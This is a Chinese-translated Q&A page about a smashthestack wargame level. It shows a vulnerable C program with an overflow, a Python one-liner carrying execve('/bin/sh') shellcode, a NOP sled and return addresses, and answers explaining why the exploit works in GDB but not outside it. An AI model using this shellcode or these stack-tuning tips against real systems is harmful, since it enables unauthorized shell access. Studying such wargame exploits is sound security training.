[英]Program behaves different in GDB?
我有來自smashthestack的這段代碼:
//bla, based on work by nnp
#include <stdio.h>
#include <string.h>
void prompt_name(char *name, char *msg){
char buf[4096];
int i = 0;
puts(msg);
i = read(0, buf, sizeof buf);
printf("Read %d bytes\n", i);
*strchr(buf, '\n') = 0;
strncpy(name, buf, 20);
}
void prompt_full_name(char *fullname) {
char last[20];
char first[20];
prompt_name(first, "Please enter your first name: ");
prompt_name(last, "Please enter your last name: ");
strcpy(fullname, first);
strcat(fullname, " ");
strcat(fullname, last);
}
int main(int argc, char **argv){
char fullname[42];
prompt_full_name(fullname);
printf("Welcome, %s\n", fullname);
return 0;
}
我使用以下shellcode執行該程序:
python -c 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80" + "\x90" * 2009 + "\x90" * 2065 + "\n" + "\x80\xec\x02\xf4\xff\xbf\x03\xf4\xff\xbf\x04\xd4\xff\xbf\xa6\xfc\xff\xbf\xff" + "\n"' > /tmp/in
在GDB中run < /tmp/in
,它可以正常工作:(gdb)運行</ tmp / wliao_in
Starting program: /levels/level06 < /tmp/wliao_in
Please enter your first name:
Please enter your last name:
Welcome, j
X�Rh//shh/bin��1�̀��������������� ����������������
Executing new program: /bin/bash
但實際上,它不是:
level6@io:/levels$ cat /tmp/in | ./level06
Please enter your first name:
Please enter your last name:
Welcome, j
X�Rh//shh/bin��1�̀��������������� ����������������
Illegal instruction
我不明白兩者之間的區別是什么?
在GDB內外執行某些操作時存在很多問題。
首先,環境會發生變化,如本差異所示。 添加和刪除環境變量會更改堆棧上它們上方所有內容的地址。
< _=./envp2
---
> COLUMNS=91
8a9
> LINES=39
20a22
> _=/usr/bin/gdb
其次,execve路徑會影響堆棧布局(您使用的是“ ./level06”,但是GDB使用的是絕對路徑“ / levels / level06”)。 這可能同時出現在argv [1]和堆棧的底部(我不知道為什么,但是Linux做到了)。
自從執行該級別以來已經過去了很長時間,但是我嘗試將shellcode放入帶有大量NOP底座的命令行參數中(因此沒有大小限制)(因此,堆棧地址的更改不會產生任何影響)確定您的漏洞利用是否有效)。
prompt_name
不會產生name
由一個終止\\0
如果名稱是大於20字符長時在gdb運行不同的是,在gdb存儲器和堆棧管理可以是不同的在這種情況下這兩個串可以由事故由終止\\0
。
名稱少於20個字符,對我來說效果很好。
聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.